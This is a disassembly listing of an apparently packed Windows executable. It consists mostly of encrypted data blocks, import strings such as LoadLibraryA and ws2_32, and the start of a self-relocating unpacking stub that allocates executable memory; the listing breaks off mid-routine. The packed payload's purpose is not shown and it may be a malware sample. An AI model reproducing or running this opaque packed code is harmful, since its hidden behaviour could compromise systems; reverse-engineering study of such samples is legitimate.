		dd 89EAFAh, 0D3887121h,	0AD6445B5h, 61CB3D2h, 5400B451h
		dd 0A108DE77h, 7C7F1834h, 1323D298h, 9B873DAFh,	507D9EB0h
		dd 622B3E1h, 0E058D17Eh, 0A17BC6ECh, 4E3B055Bh,	225DB56Eh
		dd 6E92B003h, 1686FF4Fh, 6E33628Ch, 78EE0A38h, 71397F5Ah
		dd 931B3920h, 0D3CA1FC4h, 69589C36h, 0A5C6F391h, 1E384C1Eh
		dd 88BD7007h, 3E5B4E4Bh, 2D28719h, 8FAF39A3h, 0CD80E55Ch
		dd 703A336Ah, 0C22983A7h, 1C993855h, 0A47D2D11h, 522E6F4Ah
		dd 1789D538h, 0F104E959h, 0AD3DFB54h, 0CC87C2AEh, 41782701h
		dd 0BE1B4CAh, 0F7968E83h, 66D00098h, 0E09E4114h, 0E70D1EC6h
		dd 68B963A7h, 0B6E587AEh, 200CF6D8h, 8128A4E0h,	0E6F78757h
		dd 918C7A1Dh, 0C129B0BCh, 395A6DB7h, 0AA671028h, 0E07D4FF9h
		dd 9109E56Eh, 1ADE4DF3h, 771B2DCAh, 0C6BD4CE6h,	54DC0C96h
		dd 890CA9A5h, 0DED954CAh, 9E9C3F23h, 1783C449h,	0C5EED5E1h
		dd 895A4BC4h, 8124A74h,	1FEC1A65h, 4D6FB10Eh, 0DE7DD3ACh
		dd 0E2388247h, 0BE2E2771h, 68BCC3F5h, 0EAC040DDh, 0CFE62020h
		dd 0B57E0820h, 710045A3h, 57973025h, 0FC6BAD5Ch, 5D18E067h
		dd 291247E9h, 22001AFCh, 9840C8CEh, 814E4h, 0B1DCD1E1h
		dd 896049A6h, 425B28F4h, 0DAE1D1FEh, 4B01AACCh,	25A22B73h
		dd 0FD9ED46Eh, 2EBF4175h, 0F93D82C5h, 9C0268FBh, 0FAE13637h
		dd 0E0B9B7FEh, 59595405h, 48813E0Ch, 4B03E984h,	45BC3C0Ah
		dd 399D84B5h, 2889C964h, 16640FC7h, 0F110085Eh,	2E0F1020h
		dd 49EECB70h, 0EF5D79DBh, 8640D538h, 6D3FA94Dh,	1EB47716h
		dd 0B7BA3135h, 0FD7CAD5h, 0B1DFA1FCh, 0A61B97EDh, 3B5B7E20h
		dd 0AA4CFCFCh, 4AB0EDECh, 1A08CBCEh, 23595300h,	360343D3h
		dd 13A77C64h, 0B9F80DF6h, 0F84491D6h, 781B91C2h, 42FC8BC2h
		dd 9EDC6AA1h, 45FA9B01h, 0A727C6C3h, 648EA5D1h,	5926529Ch
		dd 0A44AC252h, 0E22988Ah, 28C72953h, 0D8318B84h, 58B5660Bh
		dd 57D0037Bh, 0F9DF7902h, 3BFF94A1h, 1920BD0Fh,	5A738FCAh
		dd 81334AD7h, 0A2413587h, 0F1E926D2h, 0AA9FEA8h, 0F17C2EC6h
		dd 8221FA44h, 0C65D1D78h, 3E1598C4h, 2C5342E9h,	0C612DAF5h
		dd 569E1425h, 0AE207AEDh, 9EE87BD5h, 4411C539h,	0DECACA5h
		dd 690BFB97h, 8027B05Ah, 0D67B7167h, 85F59925h,	92B6E035h
		dd 5D07989Eh, 2BE8C345h, 8AFB6057h, 9D20C842h, 0AD789184h
		dd 498B0B07h, 0B13B204Dh, 3A1C1764h, 0FEFAB61Eh, 0CE33E5CBh
		dd 95A4381Ch, 0D55A77AAh, 0E9832324h, 33EEB5C8h, 0BB5D84A7h
		dd 490C77A7h, 61BAB604h, 864A7354h, 0CAE3D44Fh,	6180C220h
		dd 0B1C31FD9h, 6130194Dh, 160ABEB0h, 82DAEB6Bh,	261AD68Ch
		dd 9687EE49h, 6A51C863h, 8D0CFB41h, 393817E4h, 6070D7F1h
		dd 4EF05DB2h, 63180234h
		dd 0C44059D9h, 0D3243520h, 432DAACCh, 1B6FC289h, 5CECB47Ah
		dd 0C5397098h, 0E4749D86h, 0B69315D7h, 0D726E7EAh, 650A0B42h
		dd 0FD44B88Ch, 28B71B7Ch, 873F8A45h, 0EF8F1446h, 24D20527h
		dd 498173A2h, 0E9CCE881h, 6F37AE94h, 4ED0C3F1h,	5036842Bh
		dd 0E7BDB6CFh, 0D2C36D74h, 0C59B3D41h, 45451621h, 71240376h
		dd 0A6BA329Ch, 9F9FC57Eh, 9708455Bh, 42980159h,	0BC1B4FAFh
		dd 0FABDE07Ch, 0D0C176FDh, 6628C766h, 6002AB21h, 0EC2BC5FFh
		dd 55F0FD96h, 0B1C9BA41h, 0BF5F4884h, 0BE74A087h, 0FD284DC2h
		dd 13ECE6BCh, 0F97E965Eh, 7CE16E59h, 956B8F87h,	0A72F5B75h
		dd 2FE183F0h, 4C9F19EBh, 0D0C67FBAh, 88C85F17h,	0B5780850h
		dd 0A47861CBh, 0F3AD55CCh, 0AAD09C1Eh, 3D0F2596h, 0FDF9F08Dh
		dd 0B31DDB33h, 20FAE882h, 19C96ED2h, 1B4F2126h,	9D981FFBh
		dd 0FCB26E0Eh, 0A807756Ah, 0B7F22913h, 0F5328039h, 0C56E4753h
		dd 0FE3948D2h, 4C63510h, 7CB5B28Fh, 70A339E3h, 0F5D09A8Ch
		dd 8F7B608h, 4D7B4D21h,	0D31F5DD9h, 6DB29C54h, 1D59E5ACh
		dd 0BEE7D96Bh, 0D2139C63h, 7CEB91E6h, 0E5D38384h, 0BC5E9749h
		dd 0F26DB077h, 9B9993DCh, 0F27537A1h, 96199775h, 75FA2ECCh
		dd 90B7657Eh, 6CAC89C8h, 0D99583B1h, 805DFDC7h,	0C12E674Ah
		dd 0A44A740Eh, 4BDD0850h, 0AFCA7A9h, 9F3BFAC6h,	0E33B8282h
		dd 70463A4Bh, 4CEAF3D9h, 86079F03h, 67682919h, 67FA9295h
		dd 6E340B09h, 599338BFh, 59EA2F14h, 7B223D03h, 991BADAAh
		dd 2DC1AED1h, 0E4AD8E25h, 0A90228A7h, 8BFE3A0h,	4469CBEEh
		dd 7F38B8BCh, 922DCD1h,	72A7F686h, 308E3B9Bh, 0E905CA4Bh
		dd 87D18ACBh, 0FC6304B3h, 7E6544B2h, 42E94A2Ah,	0DA45CEF0h
		dd 726C03E0h, 0CA931561h, 0C849B749h, 0A71334DCh, 0CAE1F62Ch
		dd 47276C25h, 90B0A41Fh, 588EA7BAh, 84EC2CBEh, 4627C3C1h
		dd 0BB7BB3F2h, 2D72CAE0h, 66F76A02h, 13DACD2Ah,	0C26EF410h
		dd 3FC5B217h, 8D4310BCh, 0F101D72Ch, 9329434Bh,	5D6543ACh
		dd 485BC36Ah, 7CC49F02h, 30FF6FEEh, 5618ACDEh, 42BA2756h
		dd 66FDE87Eh, 0F4102AD4h, 0D05F72A8h, 7D1AB424h, 0AC93713h
		dd 0D9A6D7B6h, 0BDAD90CDh, 85569B7h, 90EEDD26h,	1E472275h
		dd 0B3C2C503h, 1D81AFCh, 6693EEB9h, 0CEEB802Bh,	3C134C4Dh
		dd 37F5D6CDh, 65C3C1E1h, 0C475FFFCh, 22C8925Fh,	0E8AB508Dh
		dd 8A6F1796h, 40C9C6CDh, 9E9C1980h, 158BDBBh, 353D37C6h
		dd 597CFFF2h, 0B61FB6F7h, 0C745F6D7h, 6115DA9Fh, 4AF845BCh
		dd 7E4C27C7h, 10A4E871h, 0D959282Ch, 0D3C13096h, 1A4F7B75h
		dd 0F5C62EDEh, 67762F29h, 0D630A46Fh, 1E653E06h, 3429045Eh
		dd 0BC2F06BAh, 2B00C652h, 0C2D210F9h, 43D219E0h, 0C3FEE772h
		dd 10705E7h, 4ECA60D7h,	0BF1F69FAh, 0F977CD8Bh,	0E14CB4F6h
		dd 24D8A72Dh, 0A4161CB0h, 6255B879h, 35119FA5h,	147BF946h
		dd 0F5FF68C3h, 0FAFF059Ch, 0E906BE6Ch, 233C5D72h, 0E52872F0h
		dd 507468Bh, 0A5B8D40Ah, 0D9B31052h, 2E15B1D5h,	500F8854h
		dd 46E40E4Fh, 16E9708Fh, 0DA326543h, 0A03F9C87h, 30B0A6A6h
		dd 6CE19C9Eh, 8DDD718Ah, 87ABD822h, 50032A4Ch, 0DE5A011Bh
		dd 89DB6799h, 0A5B37A3Ah, 0B46BA671h, 8411D86Dh, 0A5EE2109h
		dd 98F6BD48h, 0C2D2D995h, 0BDCB0F17h, 46971778h, 265F2DC7h
		dd 0C8B18823h, 90DBF01Eh, 448EFEBEh, 40ED7D7Ah,	7F47FAFBh
		dd 0D87BF6A8h, 0E13CA588h, 90F494E5h, 1A504AD4h, 0F3AC82C0h
		dd 0BF0A1A74h, 909B77D7h, 0BC1A774Ah, 49CCF5DCh, 8D6CCFFFh
		dd 0B79BE0BFh, 0B90B18AAh, 8F9C8F9Ah, 0ED2690C9h, 3F0FC684h
		dd 25D00867h, 0F0DC5F6Fh, 10957D32h, 6995DA3h, 0EC9651AAh
		dd 22D6AD8Bh, 863E894Ah, 4EE4D690h, 0AEA0036Ah,	36C93289h
		dd 71ACD26Dh, 0C61FD237h, 2CBE2457h, 69756DA3h,	85599FC2h
		dd 31AAAA23h, 31D9BD73h, 83225DF9h, 20BD5615h, 0D1530716h
		dd 821398D1h, 53701CD2h, 12050AE8h, 9276060h, 70FFE40Ch
		dd 0C780483Bh, 4827355Dh, 33AFE249h, 0F9635975h, 27F7BB01h
		dd 286F24DDh, 55D7159Ah, 9FF8D15Bh, 0F1915284h,	43FAD827h
		dd 4625BE7Dh, 21CAAD5Eh, 0A7AE7DE6h, 9A972FE0h,	501BFDB0h
		dd 734D3EF9h, 23D2BF3Ah, 0A0C5E80Fh, 0AA81D4B9h, 0A90CECEFh
		dd 14B821E7h, 16E3CA01h, 3CE41B20h, 8FF0D147h, 9B43AD35h
		dd 7EEF4A92h, 1C01C8A2h, 0BF30E391h, 69C052Ah, 715D1306h
		dd 35162EAAh, 12465829h, 0C82B440h, 451EB948h, 0D9E2C412h
		dd 68555872h, 3A0C9965h, 44DC3FE0h, 335F4E6Dh, 108532ADh
		dd 0A352FE1Eh, 4272C4B2h, 838A64D7h, 16E61C28h,	961578F8h
		dd 965E8627h, 806CD7B4h, 2C8E5C9h, 0DF87973h, 17D7432Bh
		dd 0D74318E0h, 0AA2C5464h, 7181C436h, 39853B17h, 8B0073C3h
		dd 0D142E68Dh, 7AD9FCA6h, 0F455BE59h, 0C62D5C43h, 0D6BC49A6h
		dd 0D60D8AC9h, 0ADE1A2DDh, 0BAAA24A2h, 7CDA98Fh, 66338FCAh
		dd 8B42A00Bh, 0D4E31AAEh, 0C1B457EAh, 1A52E6D5h, 5656629Eh
		dd 0AE944D10h, 0DC8861D0h, 4193FE0Fh, 914FACC4h, 108AB07Bh
		dd 1F17818Ah, 0C7B64BABh, 0B002109h, 6848F5D5h,	1665DD13h
		dd 0CFA55645h, 6DEEB620h, 165DF3ADh, 0E65D19CEh, 82A7D828h
		dd 6E46928h, 84C77554h,	385010F5h, 2DF910A4h, 0F522C8E2h
		dd 28E17447h, 15020B82h, 0BD94BC2h, 6AC9CA9h, 69EBE895h
		dd 2AEE591Dh, 1EA30B7Dh, 1594B112h, 0D0C92A72h,	0D04687Ah
		dd 0BF75C6F1h, 8324525Ah, 4D923B21h, 8981CB77h,	1F26BC72h
		dd 4CE9B84Eh, 0F1642AC7h, 0CAA5EF1Fh, 0AA2AB069h, 0C549D3C2h
		dd 5D2864BDh, 18245016h, 8EECDAB8h, 0FAC16A37h,	0D7CC2416h
		dd 0FA3469F6h, 0C6D0A08Dh, 300EE1E5h, 0ECD71C1Eh, 6E373D7Ah
		dd 13E07EACh, 7F8A3C65h, 969A73Dh, 3EA0C89Eh, 0E42B2B02h
		dd 98E2762h, 0CD719A8Bh, 7E0DDAF8h, 3A2381A2h, 0F0DCFBE1h
		dd 63D5BEB1h, 5BCB3AF3h, 359EE1E0h, 88379B6Bh, 77E60AD0h
		dd 0BBAE829Dh, 896F432Eh, 4F1565FBh, 0EC78B3EEh, 376FE4C6h
		dd 7A0EE2AEh, 672CD149h, 65C59690h, 0CEB80A10h,	22C97BCAh
		dd 8EE8CA3Bh, 0A0CCF3FBh, 87525409h, 2CB0FDC5h,	0DCF56E62h
		dd 9600C20Eh, 85DC9403h, 6014FFh, 8AE7B800h, 86C97A5Ah
		dd 6DA5F213h, 750B0971h, 0F4D4618Dh, 69FEA07Dh,	6EF62168h
		dd 7CCAE9D9h, 979DE3D6h, 0D2362CE5h, 379DAFB8h,	70F26CA3h
		dd 0B658A08Eh, 1A1333B9h, 2D1DA30Ch, 4E62C16Dh,	265B96ACh
		dd 623E7954h, 0AA4C8EA4h, 8332C4A0h, 0B8372BECh, 44C9DB5Ch
		dd 42667910h, 0A56FF761h, 26891E13h, 0B43DFDC4h, 5C9012EBh
		dd 7CCFB9E7h, 0FEBA69BFh, 8B7FBBDCh, 7B74E435h,	0C4B33AA1h
		dd 0DD869BBFh, 0E6B6B1BAh, 5A604799h, 0FECAA21h, 3C25A5D1h
		dd 0DE895646h, 621E95F9h, 0A18BCAB8h, 0B552288Dh, 189076D5h
		dd 8AD2EAh, 617EC4FBh, 6654E24Eh, 0B9F78AA2h, 0F6E50AAFh
		dd 0D46A17EFh, 95DC8C79h, 2706BD28h, 0B3765A20h, 4DBCFBD7h
		dd 362D0754h, 7A3EEF59h, 0DF2E0B7Eh, 0F6010730h, 0A878361h
		dd 8C804195h, 9E555B7h,	0E49DD072h, 0B57E7A29h,	0C5655E92h
		dd 42144AF0h, 9344082Bh, 0F185F2h, 6EFFB009h, 2D28F902h
		dd 2414F6D4h, 1DFFD732h, 0DF035CFCh, 899AB22Bh,	38D53053h
		dd 928302D0h, 2842447Dh, 0D1658ACFh, 0ECF3FC69h, 2114AEAEh
		dd 1CF351D5h, 0A6FB0E7Ch, 92544D27h, 0D06A919Ch, 0B6AF33B7h
		dd 97CF8DEAh, 55B87C94h
		dd 0C0CA7514h, 0B96DE887h, 0EE04631h, 0E6466E16h, 77356A27h
		dd 0F1DC99DDh, 2F07CC03h, 2C27FD28h, 27E245E2h,	0A2865528h
		dd 786B4D25h, 0A07530BAh, 3EBCBAA2h, 0C15C4261h, 227A3A13h
		dd 0AFC5ABD3h, 0A7EFB43Ch, 0C350C587h, 3F5537B2h, 0E609E1Ah
		dd 63A3CF3Ah, 652F0770h, 51CF3879h, 59968EE0h, 0D6E1CB2h
		dd 2BA7597Fh, 3F07298Fh, 0BF644EBDh, 0CD638C1Ch, 0EA12F2E4h
		dd 0FF19A505h, 4F413520h, 29E69368h, 97DCAB4Ch,	32E0D928h
		dd 0AE3DCB2Dh, 0B2AC26CCh, 0AA110BD2h, 7DF50EF1h, 4FB02076h
		dd 8DF50C18h, 0E9476612h, 0F5285265h, 893C947Bh, 11D51A07h
		dd 5E2FE37Dh, 5A0632h, 0B2C8DBC5h, 2903B07h, 0ECBEF2C0h
		dd 1AB5622Fh, 6C2B0FB0h, 31DB96C7h, 3B107C17h, 8361C0D5h
		dd 7443A5E3h, 409466DBh, 51A93FABh, 2E10CAE5h, 0C7DB14A1h
		dd 0CDB606E4h, 261D9640h, 4A43B56Dh, 0DE5E320Eh, 2EF7A6F5h
		dd 48AF2263h, 110D61F6h, 4A59E4B3h, 84FB7AFBh, 0B597F8C4h
		dd 6EA57822h, 3CC0BFB9h, 0E66BF492h, 40CA5FC0h,	7FE630E4h
		dd 8494CC53h, 2F68D611h, 3FBDD1D1h, 55453DD5h, 0CE150275h
		dd 2107C6B2h, 3D3AF815h, 0D02DB980h, 0A38764EBh, 0A1FB94DFh
		dd 9A3DA151h, 0B4AECDAAh, 47DC4AF9h, 0F22C7DF4h, 2C4B18F3h
		dd 85728ED0h, 0D3F72038h, 9257BAD4h, 7E3B0CCEh,	0C60E2F28h
		dd 0E163C065h, 42C6FADCh, 9C95230Ah, 0A85FA7DAh, 0A3105C29h
		dd 0E70F81C0h, 3B04CC60h, 0B6F73A3Fh, 3525E3CBh, 0FE581CDBh
		dd 47CB7A20h, 97BE556Eh, 9C35D334h, 3A9302ADh, 42373238h
		dd 0EEE234C8h, 12C1ADE1h, 1919BC7Ah, 76FE34E8h,	6F1C73D2h
		dd 4C9F250Ah, 56098D55h, 745FA2Ah, 250DAAF2h, 9BA0BAB4h
		dd 2D830578h, 5E4F1B24h, 39FC2CEDh, 9DCB7278h, 8978660Bh
		dd 803BBE69h, 0F1EE0DA8h, 3A4E5473h, 4F2B057Fh,	6434A598h
		dd 7941E822h, 98B521D2h, 736BC997h, 0CD05A902h,	2D273E05h
		dd 992BBD8Bh, 8E0F30C9h, 4C1CDC95h, 4A9E0599h, 99D17A0Eh
		dd 0A02DBA49h, 7D7E1B14h, 4A1E9092h, 77AE60Ah, 0F7096173h
		dd 0A99BA7E7h, 0F2C807B2h, 0E6AC304Bh, 343F2686h, 2F6557CAh
		dd 2EEDD30Dh, 6420DD6Ch, 5FE272E0h, 6BC481FDh, 0A159B362h
		dd 0D6356AA1h, 5D9438C2h, 310D87E4h, 0A27ED86Fh, 283C77BAh
		dd 0DE9A8B4Ch, 349700C5h, 73CD6287h, 0CCC5EBDEh, 0D703C53Ch
		dd 4011B96Ah, 0C5CCCB54h, 2530BD7Dh, 337546A4h,	2DAC17FDh
		dd 6DA0C662h, 0C92E0B56h, 12B2717Eh, 0C966822Fh, 9722DC0h
		dd 53CD9D5Eh, 0CD5FE449h, 6D2CAA2Fh, 64151172h,	0C8646ABDh
		dd 3C69C474h, 0C58285E0h, 1FAAF23Ch, 2999ADD4h,	629DAF53h
		dd 0E89395Fh, 6109FCB6h, 0CE5CDD24h, 0D8560EA8h, 0D18D2C98h
		dd 35BC2A14h, 5AEE646Dh, 823057E6h, 72BAA486h, 0BD988C52h
		dd 0F0B0CAE0h, 3C4A8594h, 0A4E1CD88h, 13D9A8B2h, 5C660BFh
		dd 9F44988h, 176948FEh,	0CF4ABEE8h, 4B42B368h, 85138EE6h
		dd 0B346F7A5h, 520DC2EEh, 300A1747h, 472288CAh,	93676137h
		dd 0FB5CE26Dh, 0DC553BA3h, 0AD6A72EFh, 1A98BA67h, 0BF82C663h
		dd 1E8849h, 0FC86E874h,	73BBFC85h, 28CE04EFh, 42D9B30Fh
		dd 0F9D2830Ch, 0BE50954Ah, 38FCF493h, 1133241Ah, 721720ECh
		dd 810105FDh, 0F98EB085h, 0B924FAF3h, 7F4455EAh, 6AD3692h
		dd 386E63D9h, 7BFD89F1h, 860BF2F7h, 123E9EAh, 18B89C81h
		dd 79CF92E0h, 0E2886290h, 0D28EA2CBh, 0EA2B2BFFh, 0D2C3F00Dh
		dd 75B97767h, 0E6B8F932h, 0FF3A5CB7h, 60E8240Bh, 1D808651h
		dd 2EBEAE47h, 56B57E0Ch, 0B1C2E310h, 0B6171F6Eh, 611A29ABh
		dd 840E946Ch, 5E16A607h, 0C3FA9205h, 0F93C12BAh, 9D39B3C2h
		dd 0DCA613Eh, 6824F41Eh, 0C0AD6BC2h, 0E8C01F83h, 91210CF4h
		dd 894DEDh, 8C8DF666h, 274E66D7h, 0DE14DF91h, 2576B975h
		dd 964E6C1Fh, 18AF8519h, 0BAD88AEAh, 9205E3FBh,	0D1788942h
		dd 17E908CBh, 9B38574Fh, 5A865AE9h, 74C5AAF9h, 0B9CB04Bh
		dd 0F481D7F0h, 0BE9A96CCh, 9F6903BDh, 974EF11Dh, 1625937h
		dd 0CDEE25EEh, 3511C51Bh, 0DA1D3DD7h, 9F4C4155h, 925F1F8Eh
		dd 8BA451DBh, 9ED874Fh,	7627BF35h, 9089F8FAh, 40EB903Bh
		dd 19E69B5Ah, 93CE21A7h, 0DFF4BAC6h, 0ED526663h, 0BB32DBE2h
		dd 91EDCB30h, 7F21ADF4h, 868D0C74h, 97CADEB3h, 8140FB6Fh
		dd 0B4096378h, 519801B9h, 58ABC0Bh, 5E516B70h, 0DAE9C9ABh
		dd 0EC6C4AF4h, 0A7824F67h, 4D32A7E9h, 0A986E95Bh, 411D1018h
		dd 40FD76AEh, 6E8065EDh, 0CD115D1Bh, 0D4B50658h, 0EDA75EB8h
		dd 68E4C76Dh, 2943FDE3h, 0F9A978E7h, 94468FD1h,	283ADE27h
		dd 639955E7h, 1DD5E1D3h, 6644E5ECh, 0E48EA063h,	0C2827EFCh
		dd 9454DD5h, 8AC96DB5h,	9BAB1F22h, 73EDA7CAh, 1788D3BAh
		dd 1C59946Eh, 3885337Bh, 5E5E2071h, 0EE2C9E98h,	0C8D42C91h
		dd 92393C52h, 0FE0B0C62h, 0E235203Eh, 0AD0D83DAh, 41FC5E83h
		dd 3AC7E311h, 0EF9CB122h, 0EA12ECA4h, 83D717F7h, 39F0E3F3h
		dd 377C84Ch, 0ABB8197Eh, 49CA3D27h, 0ADE9E33Ch,	1E4255E7h
		dd 0E3AC93FCh, 0A99AD18Fh, 0BCF2F813h, 7D8D87FEh, 64000032h
		dd 6F839023h, 88ABDF75h, 185DF3C9h, 21541733h, 63E07162h
		dd 87CE43A0h, 8F286E51h, 0CF73226Ah, 11659BC8h,	0C12F3B59h
		dd 46CE5E73h, 0CE19D2E1h, 4360BE72h, 2BE05E0Eh,	0A770ECADh
		dd 0E20496B1h, 8410556Eh, 13D90CEFh, 5839434Dh,	2469580Fh
		dd 10D61471h, 171AD79Fh, 258FFB1Ch, 0ED26F3F3h,	0BF6B5886h
		dd 10E7FDE1h, 0F2459510h, 0D1EE9ED7h, 0FE089DBBh, 1F1CD48h
		dd 0AEC6DFFDh, 847E6059h, 0BA98E4D6h, 0C8A21EAh, 404D6E46h
		dd 0CFC77DEFh, 4CED2D02h, 5ED1C30Fh, 720C0588h,	7F24E89Dh
		dd 72E9DE7Bh, 21E6E9DDh, 0ED620B4Fh, 5785B29Bh,	37B33A47h
		dd 6B1A9D0Fh, 2009F9C4h, 0FBA47B10h, 0E7E3CCE0h, 2E17309Dh
		dd 2F47CB5Eh, 0E82FDFB5h, 1B9DCE5h, 271DA776h, 0E91C7090h
		dd 5AFDEB94h, 2044DBC9h, 0D2283125h, 0B873367Bh, 443F88ABh
		dd 0F195D387h, 56238E87h, 8954409Ch, 3EA6F0A4h,	24F6D94Dh
		dd 75198B7Fh, 0C412F180h, 72A1187Fh, 54107F2Fh,	7E65669Ah
		dd 3A7A636Fh, 90842549h, 11F3DD5h, 3EE044CDh, 1204CC1Fh
		dd 0BCBADAC6h, 7825E62Fh, 0EC15A31Ah, 0BB05F861h, 7DF40925h
		dd 0C7141C21h, 1D68C445h, 0E0DCB6D7h, 0B15F01ABh, 0AF05B331h
		dd 0AF542084h, 532444A0h, 76C8006Ah, 8D603141h,	0C08CD62Eh
		dd 0F9E2C305h, 23D9A1EBh, 51153331h, 9A391C6Ch,	0C6B8AA2Dh
		dd 2F4250E1h, 6AC2DE9Ch, 0A01EACE6h, 0A4122ECFh, 28E7B4D8h
		dd 0B8ED567Fh, 45D03978h, 6357B7DDh, 0A01A25E5h, 7C2D26EDh
		dd 0F5E2D9DEh, 0AF1B5138h, 1CBC1758h, 455BB4C0h, 0C197C65h
		dd 0F94A1A5Bh, 67D8E67h, 0E3C6B044h, 0BD93569Ah, 6D60AF11h
		dd 9BFD8BE4h, 595E86EBh, 0D055100h, 0DC8FA322h,	0E00B7FEAh
		dd 0C5E8C901h, 0B9DC7EB4h, 0B3F9EB03h, 8BC5B68Ch, 5C2CA94Fh
		dd 2C7B852Bh, 0E4D84D85h, 0F5D7CD86h, 4C2360D9h, 6E6013D7h
		dd 0DCB2CF88h, 10A120EFh, 0B72DA089h, 12584BDEh, 6E8A2FA8h
		dd 4C6B37E7h, 0A23908DAh, 26B237C6h, 0C50C48EFh, 93933846h
		dd 0DCFC8F90h, 286A3826h, 57BE8986h, 32C1584Eh,	0F91FF961h
		dd 0EE5D7455h, 0D037655Fh, 0C6134D59h, 3D6C42AAh, 9E75471Eh
		dd 644BEEBh, 374CB68Ch,	88021020h, 99DCB56Ch, 0E41E5BCBh
		dd 9A099585h, 4F812576h
		dd 6A2FD6FBh, 629A5579h, 2FECB70Bh, 853FCB1Ch, 0BAA34C09h
		dd 6B5A8501h, 46D22ABDh, 8F734AE2h, 4143A904h, 0D6F8F7A6h
		dd 34FDA7C5h, 306850B1h, 0AD16EA3Ch, 513D5D9Eh,	42450987h
		dd 7CAE6735h, 9E51E393h, 534876B9h, 0A049B54Dh,	0C746648Dh
		dd 8E8CAB2Bh, 0AC88518h, 50A313FCh, 97D4D504h, 0C2EB1117h
		dd 4D26C1D2h, 1711F3C4h, 91D174B3h, 3E540A0Dh, 8BB5C1B4h
		dd 6FA80DCBh, 6AB9943Eh, 0B09A2013h, 0BBE4F1E1h, 7A085BE3h
		dd 0D63B9079h, 64AFE530h, 4E6FFB8Fh, 0E8839F36h, 7D664321h
		dd 31D6621Eh, 1B8940ACh, 0F357C5F5h, 0E3E26C88h, 69D283F4h
		dd 52154097h, 46D55911h, 61182944h, 0CD128DE1h,	6BCC0ECBh
		dd 0EF99F3DBh, 0B605FDFh, 79E68BD0h, 177ABE91h,	55B5ABC6h
		dd 0A83D2F8Dh, 0D6AEBC1Fh, 2F1EDAADh, 1EE0860Ah, 9F7F64D2h
		dd 8709094Ch, 0A427CC14h, 28ACE955h, 580h dup(0)
		dd 14h,	0
		dd 659FCh, 1D77A1A0h, 0C7C80h, 12h, 0Dh, 65AD9h, 71AB4428h
		dd 120005h, 180000h, 5AE10000h,	6AEA0006h, 137712h, 12h
		dd 25h,	65AE9h,	7C812A09h, 0Eh,	3 dup(0)
		db    0
		align 2
		dw 6547h
		db  74h	; t
		db 50h,	72h, 6Fh
		db  63h	; c
		db 41h,	2 dup(64h)
		db  72h	; r
		db 65h,	2 dup(73h)
		db  47h	; G
		db 65h,	74h, 4Dh
		db  6Fh	; o
		db 64h,	75h, 6Ch
		db  65h	; e
		db 48h,	61h, 6Eh
		db  64h	; d
		db 6Ch,	65h, 41h
		db  4Ch	; L
		db 6Fh,	61h, 64h
		db  4Ch	; L
		db 69h,	62h, 72h
		db  61h	; a
		db 72h,	79h, 41h
		db 0FFh
		db 74h,	2 dup(0)
aAvariantchange	db 'VariantChangeTypeExRaiseException',0
		align 1000h
_nsp0		ends

; Section 2. (virtual address 00081000)
; Virtual size			: 00030000 ( 196608.)
; Section size in file		: 00030000 ( 196608.)
; Offset to raw	data for section: 00081000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 481000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 80000h, 0
		dd 400000h, 0
		dd 7C800000h, 7	dup(0)
		dd 3A0000h, 0
		dd offset sub_401000
		align 8
		dd 1, 0
		dd 100h, 6 dup(0)
		dd 2, 168h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 2EF67h, 3 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
		dd 7C81CDDAh, 0
		dd 71AB4428h, 0
		dd 77126AEAh, 0
		dd 7C812A09h, 4	dup(0)
		dd 81134h, 8109Ch, 3 dup(0)
		dd 81141h, 810B8h, 3 dup(0)
		dd 8114Ch, 810C0h, 3 dup(0)
		dd 81159h, 810C8h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
		dd 4C4C44h, 41454C4Fh, 32335455h, 4C4C442Eh, 52454B00h
		dd 334C454Eh, 4C442E32h, 4Ch, 64616F4Ch, 7262694Ch, 41797261h
		dd 47000000h, 72507465h, 6441636Fh, 73657264h, 73h, 74726956h
		dd 506C6175h, 65746F72h, 7463h,	72695600h, 6C617574h, 6F6C6C41h
		dd 63h,	74726956h, 466C6175h, 656572h, 78450000h, 72507469h
		dd 7365636Fh, 73h
aVariantchanget	db 'VariantChangeTypeEx',0
		dd 61520000h, 45657369h, 70656378h, 6E6F6974h, 8E000000h
		dd 70290EC1h
		db 0D7h, 0E3h, 0F0h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 004815B3 SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-177h]
		cmp	byte ptr [ecx],	1
		jz	loc_48144F
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-1E3h]
		mov	[ebp-1E3h], eax
		add	[ebp-1B3h], eax
		lea	esi, [ebp-16Fh]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-14Bh]
		test	eax, eax
		jz	loc_4815B3
		mov	[ebp-1BBh], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_481514
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-1F3h]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_481281
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_481297
; ---------------------------------------------------------------------------


loc_481281:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_48128B:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_4812C4
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_481297:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-147h]
		push	dword ptr [ebp-14Bh]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-1BBh]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_4812C4
		add	ebx, 8
		jmp	short loc_48128B
; ---------------------------------------------------------------------------


